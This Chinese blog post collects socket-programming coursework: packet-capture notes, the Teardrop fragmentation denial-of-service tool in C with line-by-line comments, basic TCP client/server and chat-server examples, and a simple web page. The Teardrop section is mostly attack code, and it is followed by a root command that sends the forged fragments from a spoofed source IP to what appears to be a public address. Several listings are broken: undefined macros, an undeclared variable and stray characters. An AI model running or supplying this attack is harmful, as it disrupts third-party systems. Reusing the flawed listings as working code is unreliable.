Socket编程实战

最新推荐文章于 2023-06-27 16:07:48 发布
最新推荐文章于 2023-06-27 16:07:48 发布
阅读量160 收藏
点赞数
文章标签： socket
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/kelezaji/article/details/110716556
版权

目录

一、wireshark抓包分析TCP协议的三次握手连接、四次握手断开

访问一个网站，用wireshark抓包

三次握手连接中的前两次syn位为1，并且第一次ack位为0，第二次握手ack位为1,而第三次握手syn位为0，ack位为1
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
第四次抓包则是客户端和服务端会互发1次fin包，fin位为1
在这里插入图片描述

二、Fiddler抓包

http网站连接过程https://blog.youkuaiyun.com/dseai_/article/details/71214500
在这里插入图片描述

三、原始套接字编程（Teardrop代码编程）

在ubuntu中新建Teardrop.c文件，加入以下代码

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <netdb.h> 
#include <netinet/in.h> 
#include <netinet/udp.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <sys/socket.h> 
#include <errno.h> 

void usage(u_char *); //处理错误
u_long name_resolve(u_char *); 
u_short in_cksum(u_short *, int); 
void send_frags(int, u_long, u_long, u_short, u_short); //IP内容的设置，进行发送IP包
int main(int argc, char **argv) 
{
        int one = 1, count = 0, i, rip_sock; 
        u_long src_ip = 0, dst_ip = 0; //定义源IP和目的IP
        u_short src_prt = 0, dst_prt = 0;//定义源端口和目的端口
        struct in_addr addr; //定义一个in_addr对象
		printf("teardrop route|daemon9\n\n");
		/*socket(AF_INET,SOCK_RAW,IPPROTO_RAW),其原型为
		int socket(int domain, int type, int protocol);
		int domain”参数表示套接字要使用的协议簇，常用的协议簇：
		AF_UNIX（本机通信）
		AF_INET（TCP/IP – IPv4）
		AF_INET6（TCP/IP – IPv6）
		“type”参数指的是套接字类型，常用的类型有：
		SOCK_STREAM（TCP流）
		SOCK_DGRAM（UDP数据报）
		SOCK_RAW（原始套接字）
		“protocol”参数用来确定套接字使用的协议簇和类型
		一般设置为“0”，但是有时候创建原始套接字时，并不知道要使用的协议簇
		和类型，也就是domain参数未知情况下，它可以确定协议的种类。
		IPPROTO_RAW就是确定协议的类型
		当套接字创建成功时，返回套接字，失败返回“-1”。即失败就会输出错误信
		息，然后就退出程序*/
        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) 
        {
                fprintf(stderr, "raw socket"); 
                exit(1); 
        }
        /*setsockopt函数是用于任意类型、任意状态套接口的设置选项值，即设置套接口的选项
        setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))的原型：
        int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
        sockfd：标识一个套接口的描述字。
        level：选项定义的层次；支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6等。
        optname：需设置的选项。
        optval：指针，指向存放选项值的缓冲区。
        optlen：optval缓冲区长度。
        IP_HDRINCL：如果是TRUE,IP头就会随即将发送的数据一起提交，并从读取
        的数据中返回
        */
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))< 0) 
        {
                fprintf(stderr, "IP_HDRINCL"); 
                exit(1); 
        }
        //当main中传入的参数个数少于3时，就会利用处理错误函数进行输入一些信息
        if (argc < 3) usage(argv[0]);
        //通过函数name_resolve进行源IP和目的IP的设置
        if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2]))) 
        {
                fprintf(stderr, "What the hell kind of IP address is that?\n"); 
                exit(1); 
        }
        /*getopt函数来解析命令行参数 
        getopt(argc, argv, "s:t:n:")的原型：
        int getopt(int argc, char * const argv[], const char *optstring);
       如果getopt函数找到一个选项字符，则返回该字符，更新外部变量optind和
       一个静态变量nextchar，以便下次调用getopt函数可以使用下一个选项字符
       或argv中 带-符号的参数恢复扫描。如果没有更多选项字符，getopt（）返
       回-1。 那么optind是第一个argv中带-的参数的索引。optstring是一个包
       含合法选项字符的字符串。optarg是指向当前选项参数(如果有)的指针。
       atoi()函数 atoi()原型: 
       int atoi(const char *str ); 
       函数功能:把字符串转换成整型数，若无法转换，则返回0 */
        while ((i = getopt(argc, argv, "s:t:n:")) != EOF) 
        {
                switch (i) 
				{
                case 's': // source port
                        src_prt = (u_short)atoi(optarg); 
                        break; 
                case 't': // dest port 
                        dst_prt = (u_short)atoi(optarg); 
                        break; 
                case 'n': // number to send 
                        count = atoi(optarg); 
                        break; 
                default : 
                        usage(argv[0]);
                        break; // NOTREACHED 
                }
        }
        //通过srandom函数设置种子值
        srandom((unsigned)(time((time_t)0))); 
        //若上面源端口的值为0，就随机生成一个随机数赋值给源端口
        if (!src_prt) src_prt = (random() % 0xffff); 
        //若上面目的端口的值为0，就随机生成一个随机数赋值给目的端口
        if (!dst_prt) dst_prt = (random() % 0xffff); 
        //发送的次数的若为0，就将设定好的COUNT值赋给count
        if (!count) count = COUNT; 
        printf("Death on flaxen wings:\n"); 
		addr.s_addr = src_ip; //给addr对象赋值
		//inet_ntoa()函数功能是将网络地址转换成“.”点隔的字符串格式
        printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt); 	
        addr.s_addr = dst_ip; //给addr对象赋值
        printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt); 
        printf(" Amt: %5d\n", count); 
        printf("[ ");
        //循环调用send_frags函数发送IP包
        for (i = 0; i < count; i++) 
        {
                send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); 
                printf("b00m "); 
                usleep(500); 
        }
        printf("]\n"); 
        return (0); 
}

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,u_short dst_prt) 
{
        u_char *packet = NULL, *p_ptr = NULL; // packet pointers(IP包指针）
        u_char byte; // a byte 
        /*套接字协议结构体
        struct sockaddr_in{
        	sa_family_in sin_family;//地址族
        	uint6_t sin_port;//16位的TCP/UDP的端口号
        	struct in_addr sin_addr;//16位的IP地址
        	char sin_zero[8];//不使用
        } 
        */
        struct sockaddr_in sin; 
		sin.sin_family = AF_INET; 
        sin.sin_port = src_prt; 
        sin.sin_addr.s_addr = dst_ip; 
        //malloc函数原型是void *malloc(size_t size)，用于分配所需的内存空间，并返回一个指向它的指针
        packet = (u_char *)malloc(IPH + UDPH + PADDING); 
        //网络层IP包的设置
        p_ptr = packet; //IP包头部中版本和头部长度的设置，4表示采用IPv4，5表示头部有5行
        /*bzero函数
          原型：extern void bzero(void *s, int n);
		  用法：#include <string.h>
   		  功能：置字节字符串s的前n个字节为零。
          说明：bzero无返回值。
        */
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
        
        byte = 0x45; 
        /*memcpy函数
         原型：extern void *memcpy(void *dest, void *src, unsigned int count);
         用法：#include <string.h>
         功能：由src所指内存区域复制count个字节到dest所指内存区域。
         说明：src和dest所指内存区域不能重叠，函数返回指向dest的指针。*/
        memcpy(p_ptr, &byte, sizeof(u_char)); 
        p_ptr += 2; // IP包中TOS (skipped)的执行  
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);//IP包的总长度的设置 
        p_ptr += 2; 
        *((u_short *)p_ptr) = htons(242); // IP包的identifier（标识号）的设置 
        p_ptr += 2; 
        *((u_short *)p_ptr) |= FIX(IP_MF); //IP包中frag flags and offset的设置 
        p_ptr += 2; 
        *((u_short *)p_ptr) = 0x40; // IP中TTL（生命周期）设置
        byte = IPPROTO_UDP;//IP包中的采用的协议设置 
        memcpy(p_ptr + 1, &byte, sizeof(u_char)); // IP包checksum（校验和）的设置
        p_ptr += 4; // IP包中source address（源IP地址） 
		*((u_long *)p_ptr) = src_ip; 
        p_ptr += 4; // IP包中的destination address（目的地址） 
        *((u_long *)p_ptr) = dst_ip; 
        p_ptr += 4; 
        //应用层的Segment的设置
        *((u_short *)p_ptr) = htons(src_prt); // UDP source port（源端口） 
        p_ptr += 2; 
        *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port（目的端口）
        p_ptr += 2; 
        *((u_short *)p_ptr) = htons(8 + PADDING); // UDP total length（总长度）
        //sendto函数是向某个目的终端发送数据，当发生数据成功，就会返回发送数据的字节数，否则返回SOCKET_ERROR
        if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1) 
        {
                fprintf(stderr, "\nsendto"); 
                free(packet); 
                exit(1); 
        }
        // IP total length is 2 bytes into the header 
        p_ptr = &packet[2]; 
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        p_ptr += 4; 
        *((u_short *)p_ptr) = FIX(MAGIC); 
        if (sendto(sock, packet, IPH+MAGIC+1, 0, (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1) 
        {
				fprintf(stderr, "\nsendto"); 
                free(packet); 
                exit(1); 
        }
        free(packet); 
}

//获取终端的信息
u_long name_resolve(u_char *host_name) 
{
		/*struct in_addr{
			In_addr_t s_addr;//32位IP地址
		}
		*/
        struct in_addr addr; 
        /*struct hostent
		{
		    char *h_name;  //主机名，即官方域名
		    char **h_aliases;  //主机所有别名构成的字符串数组，同一IP可绑定多个域名
		    int h_addrtype; //主机IP地址的类型，例如IPV4（AF_INET）还是IPV6
		    int h_length;  //主机IP地址长度，IPV4地址为4，IPV6地址则为16
		    char **h_addr_list;  /* 主机的ip地址，以网络字节序存储。若要打印出这个IP，需要调用inet_ntoa()。*/
		};
        */
        struct hostent *host_ent; 
        if ((addr.s_addr = inet_addr(host_name)) == -1) 
        {
        		//gethostbyname函数是利用字符串格式的域名获得IP地址，并且将地址信息装入 hostent 域名结构体，成功时返回值为hostent结构体，失败返回NULL指针
                if (!(host_ent = gethostbyname(host_name))) 
                        return (0); 
                bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); 
        }
        return (addr.s_addr); 
}

//错误处理函数
void usage(u_char *name) 
{
        fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name); 
        exit(0); 
}

编译此文件生成可执行文件
gcc Teardrop.c -o Teardrop
然后执行文件
执行命令

sudo ./teardrop 192.168.10.111 61.151.206.192

第一个IP是伪造源ip 第二个是目的ip

四、SOCKET应用实例

1.面向连接的流式套接字 C/S
服务器

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <arpa/inet.h> 
#include <sys/wait.h> 
#include <signal.h> 
#define PORT "9090" // the port users will be connecting to 
#define BACKLOG 10 // how many pending connections queue will hold 
void sigchld_handler(int s) 
{
	/*waitpid函数原型：
	pid_t waitpid(pid_t pid,int *status,int options)
	作用：暂时停止目前进程的执行，直到有信号来到或子进程结束
	参数说明：
	pid：当pid>0时，只等待进程ID等于pid的子进程，不管其它已经有多少子进程
	运行结束退出了，只要指定的子进程还没有结束，waitpid就会一直等下去。
	pid=-1时，等待任何一个子进程退出，没有任何限制，此时waitpid和wait的作
	用一模一样。pid=0时，等待同一个进程组中的任何子进程，如果子进程已经加
	入了别的进程组，waitpid不会对它做任何理睬。pid<-1时，等待一个指定进程
	组中的任何子进程，这个进程组的ID等于pid的绝对值。
	options：目前只要WNOHANG和WUNTRACED两个选项，这是两个常数，可以用"|"运算符把它们连接起来使用
	函数的返回值：
	当正常返回的时候，waitpid返回收集到的子进程的进程ID；如果设置了选项WNOHANG，而调用中waitpid发现没有已退出的子进程可收集，则返回0；
	如果调用中出错，则返回-1，这时errno会被设置成相应的值以指示错误所在；当pid所指示的子进程不存在，或此进程存在，但不是调用进程的子进程，
	waitpid就会出错返回，这时errno被设置为ECHILD；
	*/
	while(waitpid(-1, NULL, WNOHANG) > 0); 
}
// get sockaddr, IPv4 or IPv6（获取IP地址）: 
/*struct sockaddr {  
     sa_family_t sin_family;//地址族
　　  char sa_data[14]; //14字节，包含套接字中的目标地址和端口信息               
　　 }; 
　　 如果地址是IPv4，返回32位的IP地址
*/
void *get_in_addr(struct sockaddr *sa) 
{ 
	if (sa->sa_family == AF_INET) 
	{ 
		return &(((struct sockaddr_in*)sa)->sin_addr); 
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr); 
}

int main(void) 
{ 
	int sockfd, new_fd; // listen on sock_fd, new connection on new_fd 
	/*struct addrinfo {
		int ai_flags;//指示在getaddrinfo函数中使用的选项的标志。
		int ai_family;
		int ai_socktype;
		int ai_protocol;
		size_t ai_addrlen;//缓冲区的长度（以字节为单位）
		char *ai_canonname;//主机的规范名称
		struct sockaddr *ai_addr;//向 sockaddr 结构的指针。每个返回的addrinfo结构中的ai_addr成员指向一个填充的套接字地址结构
		struct addrinfo *ai_next;//指向链表中下一个结构的指针。此参数在链接列表的最后一个addrinfo结构中设置为NULL。
	} 
	*/
	struct addrinfo hints, *servinfo, *p; 
	/*struct sockaddr_storage
	 {
	     sa_family_t ss_family;      //地址族
	     __ss_aligntype __ss_align;  //Force desired alignment.  
	     char __ss_padding[_SS_PADSIZE];
	};*/
	struct sockaddr_storage their_addr; // connector's address information 
	socklen_t sin_size; 
	/*struct sigaction {
	    void (*sa_handler)(int);//新的信号处理函数
	    void (*sa_sigaction)(int, siginfo_t *, void *);
	    sigset_t sa_mask;//设置在处理该信号时暂时将sa_mask 指定的信号集搁置
	    int sa_flags;//设置信号处理的其他相关操作 
	    void (*sa_restorer)(void);
	}*/
	struct sigaction sa; 
	int yes=1;
	char s[INET6_ADDRSTRLEN]; 
	int rv; 
	/* memset()函数原型：
	extern void *memset(void *buffer, int c, int count) 
	参数说明:
	buffer：为指针或是数组,
    c：是赋给buffer的值,
    count：是buffer的长度
    作用：
    将某一块内存中的内容全部设置为指定的值， 这个函数通常为新申请的内存做初始化工作。socket中多用于清空数组。
    */
	memset(&hints, 0, sizeof hints); 
	hints.ai_family = AF_UNSPEC; 
	hints.ai_socktype = SOCK_STREAM; 
	hints.ai_flags = AI_PASSIVE; // use my IP 
	/*getaddrinfo函数原型：
	int getaddrinfo( const char *hostname, const char *service, const struct addrinfo *hints, struct addrinfo **result );
	参数说明：
	hostname:一个主机名或者地址串(IPv4的点分十进制串或者IPv6的16进制串)
	service：服务名可以是十进制的端口号，也可以是已定义的服务名称，如ftp、http等
	hints：可以是一个空指针，也可以是一个指向某个addrinfo结构体的指针，调用者在这个结构中填入关于期望返回的信息类型的暗示。举例来说：指定的服务既可支持TCP也可支持UDP，所以调用者可以把hints结构中的ai_socktype成员设置成SOCK_DGRAM使得返回的仅仅是适用于数据报套接口的信息。
	result：本函数通过result指针参数返回一个指向addrinfo结构体链表的指针。
	返回值：0——成功，非0——出错
		*/
	if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) 
	{ 
		fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); 
		return 1; 
	}
	for(p = servinfo; p != NULL; p = p->ai_next) 
	{ 
		if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) 
		{ 
			perror("server: socket"); 
			continue; 
		}
		/*setsockopt函数是用于任意类型、任意状态套接口的设置选项值，即设置套接口的选项
        setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))的原型：
        int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
        sockfd：标识一个套接口的描述字。
        level：选项定义的层次；支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6等。
        optname：需设置的选项。
        optval：指针，指向存放选项值的缓冲区。
        optlen：optval缓冲区长度。
        IP_HDRINCL：如果是TRUE,IP头就会随即将发送的数据一起提交，并从读取
        的数据中返回
        */
		if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) 
		{ 
			perror("setsockopt"); 
			exit(1); 
		}
		/*通过给一个未命名套接口分配一个本地名字来为套接口建立本地捆绑（主机地址/端口号）。
		bind函数原型：
		int bind( int sockfd , const struct sockaddr * my_addr, socklen_t addrlen);
		参数说明：
		sockfd：已经建立的socket编号（描述符）；
		my_addr：一个指向sockaddr结构体类型的指针；
		addrlen：my_addr结构的长度，可以用sizeof操作符获得
		*/
		if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) 
		{ 
			close(sockfd); 
			perror("server: bind"); 
			continue; 
		}
		break; 
	}
	if (p == NULL) 
	{ 
		fprintf(stderr, "server: failed to bind\n"); 
		return 2; 
	}
	freeaddrinfo(servinfo); // all done with this structure 
	/*创建一个套接口并监听申请的连接.
	listen函数原型：
	int listen( int sockfd, int backlog);
	参数说明：
	sockfd：用于标识一个已捆绑未连接套接口的描述字。
	backlog：等待连接队列的最大长度*/
	if (listen(sockfd, BACKLOG) == -1) 
	{ 
		perror("listen"); 
		exit(1); 
	}
	sa.sa_handler = sigchld_handler; // reap all dead processes 
	//sigemptyset 函数初始化信号集合set,将set 设置为空.
	sigemptyset(&sa.sa_mask); 
	sa.sa_flags = SA_RESTART; 
	/*sigaction函数用来查询和设置信号处理方式
	函数原型：
	int sigaction(int signum,const struct sigaction *act ,struct sigaction *oldact)
	*/
	if (sigaction(SIGCHLD, &sa, NULL) == -1) 
	{ 
		perror("sigaction"); 
		exit(1);
	} 
	printf("server: waiting for connections...\n"); 
	//循环接收客户端的连接
	while(1) 
	{ // main accept() loop 
		sin_size = sizeof their_addr; 
		/*一个套接口接受的一个连接
		accept函数原型：
		SOCKET accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
	参数说明：
	sockfd：套接字描述符，该套接口在listen()后监听连接。
	addr：（可选）指针，指向一缓冲区，其中接收为通讯层所知的连接实体的地址。Addr参数的实际格式由套接口创建时所产生的地址族确定。
	addrlen：（可选）指针，输入参数，配合addr一起使用，指向存有addr地址长度的整型数。*/
		new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size); 
		if (new_fd == -1) 
		{ 
			perror("accept"); 
			continue; 
		}
		/*inet_ntop函数原型：
		const char * inet_ntop(int family, const void *addrptr, char *strptr, size_t len);   
		作用:
		将数值格式转化为点分十进制的ip地址格式
        返回值：若成功则为指向结构的指针，若出错则为NULL*/
		inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr *)&their_addr), s, sizeof s); 
		printf("server: got connection from %s\n", s); 
		if (!fork()) 
		{ // this is the child process 
			close(sockfd); // child doesn't need the listener 
			//发送一个消息给客户端
			if (send(new_fd, "Hello, world!", 13, 0) == -1) perror("send"); 
			close(new_fd); 
			exit(0); 
		}
		close(new_fd); // parent doesn't need this 
	}
	return 0; 
}

客户端

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <errno.h> 
#include <string.h> 
#include <netdb.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <arpa/inet.h> 
#define PORT "9090" // the port client will be connecting to 
#define MAXDATASIZE 100 // max number of bytes we can get at once 
// get sockaddr, IPv4 or IPv6: 
void *get_in_addr(struct sockaddr *sa) 
{ 
	if (sa->sa_family == AF_INET) 
	{ 
		return &(((struct sockaddr_in*)sa)->sin_addr); 
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr); 
}

int main(int argc, char *argv[]) 
{ 
	int sockfd, numbytes; 
	char buf[MAXDATASIZE]; 
	struct addrinfo hints, *servinfo, *p; 
	int rv; 
	char s[INET6_ADDRSTRLEN]; 
	//若输入的命令行参数（包括命令本身）不等于2，就输出错误信息，并退出程序。
	if (argc != 2) 
	{ 
		fprintf(stderr,"usage: client hostname\n");
		exit(1); 
	}
	memset(&hints, 0, sizeof hints); 
	hints.ai_family = AF_UNSPEC; 
	hints.ai_socktype = SOCK_STREAM; 
	if ((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0) 
	{ 
		fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); 
		return 1; 
	}
	for(p = servinfo; p != NULL; p = p->ai_next) 
	{ 
		if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) 
		{ 
			perror("client: socket"); 
			continue; 
		}
		//连接服务器
		if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) 
		{ 
			close(sockfd); 
			perror("client: connect"); 
			continue; 
		}
		break; 
	}
	if (p == NULL) 
	{ 
		fprintf(stderr, "client: failed to connect\n"); 
		return 2; 
	}
	inet_ntop(p->ai_family, get_in_addr((struct sockaddr *)p->ai_addr), s, sizeof s); 
	printf("client: connecting to %s\n", s); 
	freeaddrinfo(servinfo); // all done with this structure 
	if ((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1) 
	{ 
		perror("recv"); 
		exit(1);
	}
	buf[numbytes] = '\0'; 
	printf("client: received '%s'\n",buf); 
	close(sockfd); 
	return 0; 
}

2.非阻塞的多人聊天服务器
服务器

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define PORT "9090"  //port we're listening on
//get sockaddr,IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{
    if(sa->sa_family == AF_INET){
        return &(((struct sockaddr_in*)sa)->sin_addr);
    }
    return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(void)
{
    fd_set master;  //主文件描述符列表
    fd_set read_fds;  //select() 的临时文件描述符列表
    int fdmax;  //最大文件
    int listener;  //监听套接字
   
    struct sockaddr_storage remoteaddr;  //客户端地址，该数据结构是用于存储套接字地址信息
    socklen_t addrlen;

    char buf[256];  //用于客户端数据的缓冲区
    int nbytes;

    int yes=1;  //for setsockopt() SO_REUSEADDR,below
    int i,j,rv;
    char remoteIP[INET_ADDRSTRLEN];

    struct addrinfo hints,*ai,*p;  //地址信息结构体

    FD_ZERO(&master);  //清除主文件描述符列表
    FD_ZERO(&read_fds);  //清楚临时文件描述符列表

    //给我们一个套接字并绑定它
    memset(&hints, 0, sizeof hints);  //将某一块内存中的内容全部设置为指定的值， 这个函数通常为新申请的内存做初始化工作。socket中多用于清空数组。此处是将地址信息置零。
    hints.ai_family = AF_UNSPEC;  //AF_UNSPEC（协议无关）
    hints.ai_socktype = SOCK_STREAM;  //SOCK_STREAM（流）
    hints.ai_flags = AI_PASSIVE;  //AI_PASSIVE（被动的，用于 bind）
    if((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0)
    {
        fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));
        exit(1);
    }

    //遍历所有的结果
    for(p = ai; p != NULL; p = p->ai_next)
    {
        //创建套接字并赋值给 listener 套接字描述符
        listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
        if(listener < 0)
        {
            continue;
        }
        setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
        /*
        bind 函数：用于连接的数据报或流类套接口，进行绑定
        */
        if(bind(listener, p->ai_addr, p->ai_addrlen) < 0)
        {
            close(listener);
            continue;
        }
        break;
    }

    if(p == NULL)
    {
        fprintf(stderr, "selectserver:failed to bind\n");
        exit(2);
    }

    //到了这里，意味着服务器的地址和端口绑定完成，可以释放 ai 的内存
    freeaddrinfo(ai);  

    /*
    listen 函数：创建一个套接口并监听申请的连接.
    参数一：用于标识一个已捆绑未连接套接口的描述符
    参数二：等待连接队列的最大长度（这里是 10），即表示最大可以连接的客户端数量
    */
    if(listen(listener, 10) == -1)
    {
        perror("listen");
        exit(3);
    }

    //将侦听器添加到主文件
    FD_SET(listener, &master);

    //跟踪最大的文件描述符
    fdmax = listener;  、

    //主循环
    for(;;)
    {
        read_fds = master;  //将主文件描述符表复制到临时文件描述符表

        /*
        select 函数：确定一个或多个套接口的状态，如需要则等待。
        原型：int select( int nfds, fd_set FAR* readfds,　fd_set * writefds,fd_set * exceptfds,　const struct timeval * timeout);
        nfds：是一个整数值，是指集合中所有文件描述符的范围，即所有文件描述符的最大值加1，不能错！在Windows中这个参数的值无所谓，可以设置不正确。
        readfds：（可选）指针，指向一组等待可读性检查的套接口。
        writefds：（可选）指针，指向一组等待可写性检查的套接口。
        exceptfds：（可选）指针，指向一组等待错误检查的套接口。
        timeout：select()最多等待时间，对阻塞操作则为 NULL。
        */
        if(select(fdmax + 1, &read_fds, NULL, NULL, NULL) == -1)
        {
            perror("select");
            exit(4);
        }
        for(i = 0; i <= fdmax; i++)
        {
            /*
            宏原型：int FD_ISSET（int fd,fd_set *fdset）
            在调用 selelct() 函数后，用 FD_ISSET 来检测 fd 在 fdset 集合中的状态是否变化
            返回整型，当检测到 fd 状态发生变化时返回真，否则返回假
            */
            if(FD_ISSET(i, &read_fds))  //得到了一个连接
            {
                if(i == listener)//如果新连接为最大文件描述符
                {
                    //处理新连接
                    addrlen = sizeof remoteaddr;
                    newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);

                    if(newfd == -1)
                    {
                        perror("accept");
                    }
                    else
                    {
                        FD_SET(newfd, &master);  //添加到主文件描述符列表
                        if(newfd > fdmax)  //记录最大值
                        {
                            fdmax = newfd;
                        }
                        printf("selectserver:new connection from %s on socket %d\n", inet_ntop(remoteaddr.ss_family, get_in_addr((struct sockaddr*)&remoteaddr), remoteIP, INET_ADDRSTRLEN), newfd);
                    }
                }
                else
                {
                    //处理来自客户端的数据
                    if((nbytes = recv(i, buf, sizeof buf, 0)) <= 0)
                    {
                        //出现错误或连接被客户端关闭
                        if(nbytes == 0)
                        {
                            //连接关闭了
                            printf("selectserver:socket %d hung up\n", i);
                        }
                        else
                        {
                            perror("recv");
                        }
                        close(i); //关闭
                        FD_CLR(i, &master);  //从主文件描述符列表中删除
                    }
                    else
                    {
                        for(j =0; j <= fdmax; j++)
                        {
                            if(FD_ISSET(j, &master))
                            {
                                if(j != listener && j != i)
                                {
                                    if(send(j, buf, nbytes, 0) == -1)
                                    {
                                        perror("send");
                                    }
                                }
                            }
                        }
                    }
                }  //END handle from client
            }  //END got new incoming connection
        }  //END looping through file descriptors
    }  //END for(;;)--and you thought it would never end!
    return 0;
}

客户端

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>

#define PORT "9090"  //the port client will be connecting to
#define MAXDATASIZE 100  //max number of bytes we can get at once

int sockfd, numbytes;
char buf[MAXDATASIZE];

//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{
	if(sa->sa_family == AF_INET)
	{
		return &(((struct sockaddr_in*)sa)->sin_addr);
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

void *recvMag()
{
	/*
	int recv( SOCKET s,char FAR *buf,int len,int flags);   
	recv函数从TCP连接的另一端接收数据
	第一个参数指定接收端套接字描述符；
	第二个参数指明一个缓冲区，该缓冲区用来存放recv函数接收到的数据；
	第三个参数指明buf的长度；
	第四个参数一般置0。
	*/
    while(1)
    {
        if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
	{
		perror("recv");
		exit(1);
	}
	if(numbytes == 1)
		continue;
	buf[numbytes] = '\0';
	printf("\nreceived：%s\n",buf);
    }
}

int main(int argc, char *argv[])
{
	struct addrinfo hints, *servinfo, *p;
	int rv;
	char s[INET6_ADDRSTRLEN];
    pthread_t t1;
    char mag[MAXDATASIZE];

	if(argc != 2)
	{
		fprintf(stderr, "usage:client hostname\n");
		exit(1);
	}
	memset(&hints, 0, sizeof hints);
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
	{
		fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
		return 1;
	}
	for(p = servinfo; p != NULL; p = p->ai_next)
	{
		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
		{
			perror("client:socket");
			continue;
		}
		if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
		{
			close(sockfd);
			perror("client:connect");
			continue;
		}
		break;
	}
	if(p == NULL)
	{
		fprintf(stderr, "client:failed to connect\n");
		return 2;
	}
	inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
	printf("client:connecting to %s\n",s);
	freeaddrinfo(servinfo);

    int err = pthread_create(&t1, NULL, recvMag, NULL);
	if(err != 0)
	{
		printf("receive failed");
		exit(1);
	}
    
	while(1)
	{
        scanf("%s", mag);
        if(send(sockfd, mag, sizeof mag, 0) == -1)
        {
            printf("send failed!\n");
        }
	}
	return 0;
}

五、一个简单HTML网页

工具nginx
参考
安装后启动
创建一个文件index.html，写入如下代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="keyword" content="个人介绍网页">
    <meta name="description" content="个人介绍">
    <meta name="author" content="...">
    <meta http-equiv="content-type" content="text/html">
    <link rel="stylesheet" href="css/style.css">
    <title>...</title>
</head>
<body background="./b.png">
    <div class="introduce" id="intro1">

        <div class="right-container">
            <div class="content">
                <div>
                    <h1 style="font-size:500%;color:white">个人介绍</h1>

                    <h2 style="font-size:300%;color:white">昵称:...</h2>


                    <h3 style="font-size:300%;color:white">学历：本科</h3>
                    <h4 style="font-size:300%;color:white">like</h4>


                    <h5 style="font-size:500%;color:white">...</h5>


                </div>
            </div>

        </div>
    </div>
    <h6 style="font-size:500%;color:white"><a href="https://my.163.com/">mhxy</a></h6>
    <h7 style="font-size:500%;color:white"><a href="./b.png" download="b.png">bbaackground_image_download</a></h8>
</body>
</html>

然后将下载的图片和上述文件放入指定目录

sudo mv index.html var/www/html

